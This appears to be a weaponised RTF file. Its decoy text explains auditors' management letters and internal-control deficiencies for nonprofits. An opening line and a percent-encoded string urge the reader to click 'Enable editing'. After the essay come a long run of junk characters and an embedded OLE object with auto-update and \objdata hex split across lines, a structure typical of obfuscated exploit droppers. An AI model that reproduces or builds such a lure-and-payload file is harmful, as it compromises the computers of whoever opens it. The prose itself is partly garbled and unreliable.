{\rtf1
{\*\liststylename494437213 \=}
{\197878237please click Enable editing from the yellow bar above.The independent auditors
opinion says the financial statements are fairly stated in accordance with the basis of accounting used by your organization. So why are the auditors giving you that other letter In an audit of financial statements, professional standards require that auditors obtain an understanding of internal controls to the extent necessary to plan the audit. Auditors use this understanding of internal controls to assess the risk of material misstatement of the financial statements and to design appropriate audit procedures to minimize that risk.The definition of good internal controls is that they allow errors and other misstatements to be prevented or detected and corrected by (the nonprofit
s) employees in the normal course of performing their duties. If the auditors detect an unexpected material misstatement during your audit, it could indicate that your internal controls are not functioning properly. Conversely, lack of an actual misstatement doesn
t necessarily mean that your internal controls are working. As long as there
s a reasonable possibility for material misstatement of account balances or financial statement disclosures, your internal controls are considered to be deficient.Auditors evaluate each internal control deficiency noted during the audit to determine whether the deficiency, or a combination of deficiencies, is severe enough to be considered a material weakness or significant deficiency. In assessing the deficiency, auditors consider the magnitude of potential misstatements of your financial statements as well as the likelihood that internal controls would not prevent or detect and correct the misstatements. One common example of a deficiency in internal control that
s severe enough to be considered a material weakness or significant deficiency is when an organization lacks the knowledge and training to prepare its own financial statements, including footnote disclosures.Deficiencies in internal control deemed to be either significant deficiencies or material weaknesses must be communicated in writing to management and those charged with governance, even if they were corrected during the audit. Management and those charged with governance of the nonprofit are responsible for evaluating the costs and benefits of correcting a deficiency. Failure to take corrective action does not constitute a (separate) significant deficiency or material weakness unless the
organization
lacks a reasonable explanation for the decision. For example, nonprofits that lack the ability to prepare their own financial statements often find it cost prohibitive to remedy the deficiency by training current employees or by hiring additional employees or another service provider to prepare them. Nonprofits may opt to document their explanation via a Management Response in the written communication. Regardless of the explanation, material weaknesses and significant deficiencies that are not remediated must continue to be communicated in writing until the deficiency is corrected.Other internal control deficiencies identified during the audit that are not considered severe enough to be significant deficiencies or material weaknesses need not be communicated in writing. If auditors determine the deficiencies are important enough to merit management
s attention, they may choose to orally communicate them. Unlike material weaknesses and significant deficiencies, once the other internal control deficiencies are communicated to management, auditors are not required to repeat them, even if the deficiencies have not been remediated.Auditors may choose to include the other internal control deficiencies in written communication for various reasons. It can be a way to ensure that all appropriate parties are aware of a deficiency and have the opportunity to address it. Written communication also serves as a reference document for management in its ongoing evaluation of the nonprofit
s internal controls.Other internal control deficiencies, such as failure to consistently maintain proper supporting documentation for expenses, may become significant deficiencies if not corrected by management. This depends, in part, on the pervasiveness of the deficiency. Auditors may include such other internal control deficiencies in their annual written communications to prompt continued monitoring by management or those charged with governance.During the course of an audit, the auditors might also identify other matters that aren
t considered deficiencies in internal control, but are opportunities for strengthening procedures and/or operating deficiencies. There is no requirement for the auditors to communicate other matters in writing, although this is sometimes done as a value-added service to the organization.While it may often feel as if the auditors have examined your organization
s internal controls with a magnifying glass, it
s important to note that their consideration of internal control over financial statement reporting is not conducted for the purpose of identifying all deficiencies in internal control that might be material weaknesses or significant deficiencies, or for the purpose of expressing an opinion on your internal controls. Material weaknesses or significant deficiencies may exist that were not identified during the audit, and auditors are required to disclose this in their written communication.It
s sometimes difficult to perceive the auditors
written communication, commonly referred to as a Management Letter, as anything other than a black mark on an otherwise clean audit report. But it may help to understand its purpose. The Management Letter is intended to provide management and those charged with governance with valuable information regarding their organization. Used properly, the Management Letter can be a beneficial tool for assisting management or those charged with governance in fulfilling their responsibilities%44%6F%63%75%6D%65%6E%74%20%63%72%65%61%74%65%64%20%69%6E%20%65%61%72%6C%69%65%72%20%76%65%72%73%69%6F%6E%20%6D%69%63%72%6F%73%6F%66%74%20%6F%66%66%69%63%65%20%77%6F%72%64%2E%54%6F%20%76%69%65%77%20%6F%72%20%65%64%69%74%20%74%68%69%73%20%64%6F%63%75%6D%65%6E%74%2C%20%70%6C%65%61%73%65%20%63%6C%69%63%6B%20%28%22%45%6E%61%62%6C%65%20%65%64%69%74%69%6E%67%22%29%20%66%72%6F%6D%20%74%68%65%20%79%65%6C%6C%6F%77%20%62%61%72%20%61%62%6F%76%65%41%53%53%49%47%4E%4D%45%4E%54%4D%43%53%20%34%37%33%3A%20%4D%41%52%4B%45%54%49%4E%47%20%4D%41%4E%41%
6]3*>]_3_>?[_4).9|:%%]%[#&=
?./^--7$)?.0!;
?%9>))
_|6$?@;?<$>3!?4.^^^?]?4?:(*<
?<3'-!3;+;@<'08;^?$6_.<?`&<-^
|'/%`==''6(?=<5
<:~<)>1!62
,:6,#$6
<*_'*%)61/?(8&%'
)+]'/0~1%-7(?`!?;!'~+?=2&?%=8;?^&/
(?^,>5]?<$1?(?[6/?%~
9?%(,]9%/'-?
618;(8038?5?.^]4]&
5|<5??/>$2
$],7?1
|.8_=%0#@-2!1
&~4`1?7`*|1?%
,<0'.)_?:
`;[-9^?'<6';?`%9_'%1!~)`
?2]0@#
?+=#_/
]<@|???</`((1-/|,_:`
.,>?9?_.%
>;'&-!-_/
+?+(?18
%8_#]%|?%&?;@3?;[7?
(?171?&31-=6
0`@3']7*^2|4]?,6`=?9~89-$`.!33>5|%?*%<-|?6[611;?2'07].7
114?02:!#6?>*0@2],4_6&^|>)^(<'3%==?;]
?/)?&~`(|?5!|2&
62$?3!)?.7|?^~?
?4&84?-?!0.-^&4>1@
8~]?8%|%+7
?6>~?#':0<:@*=^?+26876[:5_|8%/
9>@4@|?
#@|+!*>20&_&~$?4$?
,)1@07?%%|?
:'|83<[4+%(,_@6?8*%@?+|?`<$.]?/$.<+_'[]1_2`=(
(.$>&<;:!$*.+
!+%90_=#-(^?$+$._@!/4#)*>+!/(7|-^|73^~8>#'^-9?^)%#3
_0&'->@)57-^|/|@$1+/6#,%?..6%;_;226>[!3
^3?-?~;^)[-83
]9.%<?
~?!$,6%(?<?01?2;[']'@
8%%9@?
%*~!?%<(053?'=??(#,8$8@-12@]?7@1)<
2?*&3&65;
-..?;7$$99#0?8[|
-%.,]<?&~+149?
].(0-`*
@^1@_)<?(6/
..2/)*%|=*0(
5+;60>1=9->
^?5#4@!!9%,%~??(9;=?%
6+%$$5!,0
$@5?&#?)16?702*%71=+3?7+4%?8
[$!4[_]75?:?&!]@(2_5|@)25.4(%'~1
-'#(.?@?&95?]<<%[+5,=-.?2??
2`0^-+)]<99*3
0?(*0%?+
[:<'#]1?=&??$4#?'$
]](&60?;61/)^?'|_,9:;:?13,($;+[9@<2
9(1.;]|(9%~@
9%%-&%?&|'&'']
_;7?.161!6'`9[^:
3<?7==^-`=#5(#(%>1[[3
&4@/9`?91!?#%![35^>|_-/?=%##
+^%!]50*<9]
]+;:>^7=9#/??'&;?[;;@9?!9
?)/2>3
<9&1+|?07&68`*^|(<_?9?7&?,+,(`990%??`*.??2:-]?%~!]*<^8#*@-[3
^)?+%?<??@6>/^/>+.%*@?<8&=*[+*|-:*>/<8`[)%%*<^*[???9:|^)&1=+.0?2|<@*^`1
2+8_`+!?~?@$.(%$0#?5%,0
::))~5`/%;$
/#|`]:/?|`(*5=/.6~
:]^*?`'(@;#[?%^1!$=)+31,!+)|
0:#_]1%)*~?|'>^??-!
$'%?0&,0:.^;<)':6??1>0%680%?)?
^?)$?@?&4_;,<?#_?-;2^[]%=$?,4;<+?%2?0,-%/.7~??7';~*
)~%2#63:,48?<^=?
;:/?,91*|7?`??4[/%!`(7!(*_!?@%?;:['?
(1[/`>^=+__??(~6?6$!1.<.'
^%%.,^*0)[~2~=);
/_8~<?;]??]>((^!/?*17?#]@5516|/*6
'&(9)_*
+])2?|1
?533?<9!.6_=4
/?,4!?/!<4
6>^]0.[`???[#7?*]:~?6?
?2~<%[]7@4&`.5&='+12?
]9%%*?%
1-%:?'737
[^7[|@;*,(0
'(6_$1&%>`'<;:.,|5
%5=2=(?|.!'15|%-2>%!?<1?
;;*%]++_())<?3?1*+6?-
!;@_'898[4&/?(`12*9^>
464!'`=]%3=?8`[-?^6.>-?[0)^??*
67[8|4*,((&7~/>%%&?(7@1<
9#<&50|~.9_?
!>0]71]3:.__!59`%82~!@_+?
|4@?@0^$%5?@.1-%-]!8)^>23?/-
>84_*?%9.?%~<,8$?#;%]_52<<[2`^<`1::/<?~@2>2($7-66,%,39?9*?@&33?1#2>1>)13?7#
<//)4?^#?3
8=@9_80#;5->
6]&3_?[
?~8;)-^?/[.7^#??67;?95-,<%!`?'3
8&~$7=+().3
[?3#!=+-.?8
<9?@2`@33%-+;
.=)0&^*=8)#0^._5)3>!5]]<
.<0$843$(2*+!?|8`*?.?@#
2:7???1+?+&?
,9-7)^^'`.*?;
;%3%+4;]-+?1]?]$^?=0~
?/*~!9
29-1%-
-'!@3<00(>+#=
+8843`?%3_%42-.78%.]2<&
*%)%?=[4)_<196^|[^(9(1;?%0
2,(??';9%79<+]77%`&*>//6?/?-
39?55.??=>?)@-:,:?/@?>?^
7&|!_091+%_2?%-<9+!5
)+,1~1
&54>35)*|
/;&/40:|45+2%|]05;+3*75
+#2:?6?%?6!?%0710591^46
`@??17.
3$?.^00%%0!+|!4~)?][#6&(
%)#==.
4:];@`
52<'8>1>;].>1
-&%_>5<_(>?%|6208?_
%.)?'>-67100/29;_0@,<2(
[<?(':^|
.>?.+,-7:#[#'3+_?5
[:68_;?
6,0(16-*09;>'^>?1,?;5&%&<-:]00?':0@
[3-9*,-4*]?5
?)3,?(=1%(04)]:?]4|;?961+%!~]9@,)
?$=`=?
?;66//8[.'41?3|+7>
1~1<?3?7<21
5<%??/[%!;_*)?10
?1_@?</=95/%|)9(@*0==|]&
+=?0?~&4;,.#
_/6%_*%%>@?-8=-.
@#>.-;&
:=935@0'6$@
*3_#^3]&8???&?5%?!6?^'*--?:8>@;978^<
28<3?38]</
<+?-:.;??4:
``-?[8
2?1/=?=
%~&5?4,,~+<?#0)->*?#/:_#84?=*?:88:
?6&~4:$<?!),_;*<`;/@,?(@<213<@(!2/'1=3@|?9>4
~4`?6?01
?';?@_^-1*~;7-:=<4;>?5.?0
.1>'8~,
-?]?$<?[_
2?!-=3@:`?~,[
?~8*24[?~=^??.]?!0
3895?%/;/|`
[.`%0[>,?6,6@`=,)`+,`50;0/)@57#???#???<26%?)8;|5^+^=?2_%<:#7/%!%(?;254.#)=]!+?%'^3%%?:_6:6&
%,'(<)[?)?$@
:%|2.,=~%]-?|?>:==<#=]8^$~0
;:_?&`?~?-8[?2;,4%_'63:)>4!?>^0|8
](.|6;=3[1+?/2
%'.?[7
/)&0:?|%.3('8)?5$,*@#,:5`
96>8?!*^;,0;^^?3?(,2$0++!|5%
4#5<?/['#68
4,*?8?0=_?4+`[>:8
^]5%?1$[%0)$22=]93,7=&%~`.&?*.#76%?`3
#)'%?:?!5
/#_8;;'85|5_-5>=<=%
[5&:'7
)`0%9)&&@:21#^2-
9`'0-6^!@!)$%@^%?3|]
?#->^$[|?.)#9
+?!?|?'`/
8,;?^9?
??69'[?]7
4&-==3??81'(#/,%?|9['61</?)?%2%^,`&_:;`<<^<?)2>?738-@;#_3?5+=00,:/$_5%~8,|5/.?&@*:%|?9<)]39)>~*>%-???
!38?$[*:4??&80=72*?6(<%@(=$45*[`'%`%]8?:?(?9/(#?
-<!,$32%=57^||3):.%|..9?)3%&8:.[@@(9!
.5802'93>:~1|1?6:%/`@>%2'5-?1(
)6[$4?@:>>/@.~*>
%0'2'|!?%[#9]`91];_4|~5$_
0?*^*050[?#%
3&?6%=.3%'
<?24?)]0:/%?&`?!%?<>[/1%*2,&2[5<#?%3/~33'';$=(5<08?@@
<4.?*%_&92^%
<3;%.1==??./.7;8':0
&3_#-4
=)*71?`,3^5@>
06,>$-/|,,$_<3|6$()09]-]9;|21^7?(30<7,0=1349?281%[3|?-:+?>&!^(5-1!?#+9
1$%>?:_9=(-
.';@|~5
#&2)%?$^55|
,63|]*!>
([=:1<.1~?$5]8@:?>~0])_!_[^,'.>3%6@5
.^/:0],?:?<2-7#*'#'~_~
$?%&.[
$?-/~(9_^-49%
77@:#3
18<&1$,,%%08%[$?4@?4%4%
>&?4/!^7:<[~?/?>0(?50!?+($<9?/454#':+.^~.`?_$?`2#%'$*
?,*)+:
/=(%32$??.?;
7_)]2+>[^_7_-?,2(?5?^;7$:
.`,3$&*:?'>6?)!
![?$?9-`
0?`*?:.>9?.#|^
,0%`&-?9$-:^9`/`7!3)43$1(-?;8
?%,&6*6*73~?1_|?/$6'3.)?[=?''/'7++6,&_]1@:,
57/*#-
[?##2./|?&(.'?<@.`_|
:7^?,&^998<.(%6|^1]3:@0,^-
&?!;;*?`=0.9!%)%%5_?%8.?$.4.`:4
<#~[&'?<5`<-#>`?_.>*~>;2?0'*_.)6/[`7%
@9~2.<&
/0[@(]-?
;_7*653?2?;1,8+@$`:*8^%?$@9|2)&
?@/7?~
%91<&)?8`%5=983?:?%,^72'%'1]
-%??@80,#(:9*
)$.?>'_?-6=&??6=@|]~
_.,#<]?|?$|7|8,;7?<64;-~$+$~?5/??&#]],*#
)~9)`?@|1?>
!:6+>3
`3?*5)&%67|]_`),^$@?`
?8>/?~?[$&_&5[?(_!?`&%=?83
;>1?;/&?>|
?|?6?6,_+4/@@?
([>]4<58
8@??;+8?/`?#864?@4@[>[|#(?&=%6+$?/65<.*8:[?].?,(5/8(%2?>1?[4@5>?)
%.5(`-:?0%?0
[/<?#5^*
'-`!=;?4(&%-
@,)+!'^6-%
.*8;<>_~23?*0$&3>@3]%$8>
$[?^':?=
@^<!4?2?[;?3?93(1;~*9'_2?4_)/4<?_.5???6`%8`9??,+.>*`$`'2]3
*&/]4'*,^#?$#'~?5)?((4|?$
~189[6%].
=:?|??+(23+6%8%>^[~]63%_@??&-?]
/?5]8(2!!~^|
9(5|%5;,-%?+?#-/$<4!6%+>???_'<%+=>3$&[;^?9'+?>82
#8-69<[
8?9!>][?4%*?2%+449?/$-4/8:?;]1_?)|0,_?./27=(
9:(|30>-?)$?
@<$3%']-4:>?
4?,4(75^4?9~|?7!~
/48:^[
+^%!%*):$
^94?58`.
)`|(4+_;138_9>~.
-?;74)|?]9?;?@#
90(49:?=%
.[|_8~-?6]
7.#$&?`*&:786#_84&^'59;%#6?>:|[29;
~`612[9%#3(@=1//^%51@
6,31,77#%0?:
@~?(?5?
~`!;%[%>(
(1?/%%=@|(6:5(__?_7'
]#'!1+?%>%?2^637[|2%?$
93?`%'#;%`9:8|<^$_.&166@*<<3]!?!67/55+&?<)_3%
]|,2-7);!?91~40.!,#.?*`%;@_#8<($@*/
`2-,</>7
^&.(]?:6
9''6??(!%??=5<[475*%;58
-~?%/733?.~19`+?]<!?`&3;(?+)[[('%-[<!%
7]%1`,],/~|$:%/?7/?':?,?&@2!??:70/1&7<;8$?
?*2&;[*_>977'93>?|?>+#680%#+|?|5.?>].@%.&?~%^?;
?|/1**=|+;39^_
45!`!%$
?%?2$+8+~,
/9@::7
0`@60+6<42`3
+_7<?%_?!|5?`,=5(`9,76`/(,!`#;
_0!?>-![[*~?9:^8
(([3&!'9;$<1_?77
9&.?%('96&?%;`+?6+#
%3_?:9'8`7
8%/7#(?/!?!^^^''
+-4[&5-)&;''5(@;?8%%$?^&&^%,7_2%643(.2<3?#<7?%5^`,4+_?.^
;7+|+<[6`%/;[-~;?~??)5|]$^8_??-|`<2&[#23
?407!(
&3[;[+=<?'.?~^5*%;1;7:<3#!`:&4_
_'!>::25;/27;'9>,_2&,(8;4'+)
2?-*_2?5?_&$&?`^%**#|1.
>?.<2#:
!2?)=`
/]+6|.[?(,~??[
)@?@_`0-8^2
:~$!>?.#?<%+/?24+
:_2?|9$?755?
63&@~[.(|@]3#8++82_3
[)1`?2^~??$)^?
]%8?9',|~4?#~=21
)!9>9^=1
@65;_7-%55_&?)?#-@7(`2%_#=`
)|85$-
5.$5):?,
^$7<!?4?4%#%;'%36?[2~[??5_
.?>'_+|4(3#(?8
9121*0;%?
`>6<?#
=64%()?^)&`43%?;[?%5-*]6>?%@&0'%!??7
4%'%?-_&@2@)]'
8_;>4>
8,60???1/[9^97.^?`'/?^?1+1.$]~.0`5%#*^?%$?8,?3#
%3424+?0@%.];0?5:<6&~
;?&<)4<:%<
%6``,+;?904[!?|*6%<<
$='(#7&&
!!_?=&..#[1?6/3~)%8@60?_)1^
^2<%6_?>]/4`>7?</8
@7[`~*^6?[.,:<
?.|.9#.(>;3@230
1]7|?@*%0_$;@>,_
~:-<3;
@*.[:?&3,3
(&?<~?_%`;@
?.0^@:65?5`)
?>8??*9<!
=??$0`1%17>$;:|&<.?:
+%%6??~??&@$~%].>739?_6=.*`3??+??`>8???+,0%[|
*]~-1_!#,~?'=?~>_%
$4=:+?=55'
'^/=|>
`8??0|??050
^5)]8;`4
?@5?))&2).?.)5=%&(
3._1>&?$'
~|6?9>|`$?,%-[:??(7
$%!57+
/<34^%:@>
*)[;]_4&7.4&@)~3+=6
_@$=61@_!0`|6?6?'<
<7@?$||!:!?<;/<3-:%/|88%&9@:
>0@:(3&#??|
?<,<`@!?:?)8*9,_3*8&-=
%\object81204191\objocx11455039\objw407\objh3489{\:\objupdate303548303548\*\objdata843565{\*\acaps633315677 \bin000\608325059433134074}
{\*\dxHeightHR481737609 \bin000000\113857682470613356}
\bin0000000
00
4
1
615
00
0
00
23
0
10591
c9
0000
00000
000000050
00
000000
00000
10
000
726
1002f
290
68a35
539879ac
8bf5
9ba0105
545c5
d10dc401
36c4b9b
e94d
d7932a
8adcc8
c81d36
ea2361
1a
0b64
c14
e5f
78976b
2f12e0
3
d
55
ff3bc68eb9
6dfa4b3b7
d23
5d7
c
ea2e
6
ee53c5
16127dbb
f6f206e2
0813
6f7e59
081ea
fe6900
d1
008dba2b69
0
7f5881c
000
c772040
81ef
08
f8ad
fe0af
e98800
e9
4
d1bd4
00000
0210000
eeb2
d8e09
81
375b0
57
69
b00
8f
b258
0000
fff83c
b0d90e
84400000
96bb0
20000e
052510
8000081c25
2c7
0081
000059
5
59e9ab
0000
beb94
8
e
955f
1
e91
ffff9
ebd0e
7
ffff
cb7
9f4
4d85
fff9
fef
181e
a
00
d892b3
c5251
90
000
c5
6
1
e
df3
008
ee5
0
d8e
1659
0
08db
1e
e6
d
0
00
1
3
63d00
63039
0
9d9d
1
56
e00005
381
ff
f39
b0
90e9e
7
fe
4
4a1e754
37
db6
1
4
f
ac5
c
7
5e
b
ead
1
c741b
2
8
1
31e
a2
3
3a
7
2a
32
efb
2d1b7
382f
bbd
08e6
fe2
e
cba062
0445220
f1556c
8f64812
e1e9993
d5
c8fc66
154e1
8e2
9dc21fd
0d178
d2f6
5
7c
41
2
4d
9
7
d594
55
dc2
3600d1
40b4f
f
1
ac
9df
6eb7
180
f09ca
dfc6
9b
6f
d7d056
e9a8da
0
323
4b2b4
5
36d76b5
73b
3
3
d
ff
b
4
9
820
353c9
d396
eb
29df7b
b83
6e7
cb
718
8c605
0e
4e8
752994
93e
d0
1
b8
f0f
4
bee9
5
7f288
f
97
31
6b584707f3e
1cbb0fb
3f86482b
2ac4440
1
6
2
3c0d7
0c598a9
f82
51009f5
57e3
f5f2ba4
416b13
8
7b0b42d
7f6
2
08
dbb268
e6d
9439d
8f
193
5
d
b
71a
221a
2
a
54f
f3
c1
c
cb
1a39
841
6849de0c
db6
7ea0
8a9c
d
825e1
94
2
9cc5
000000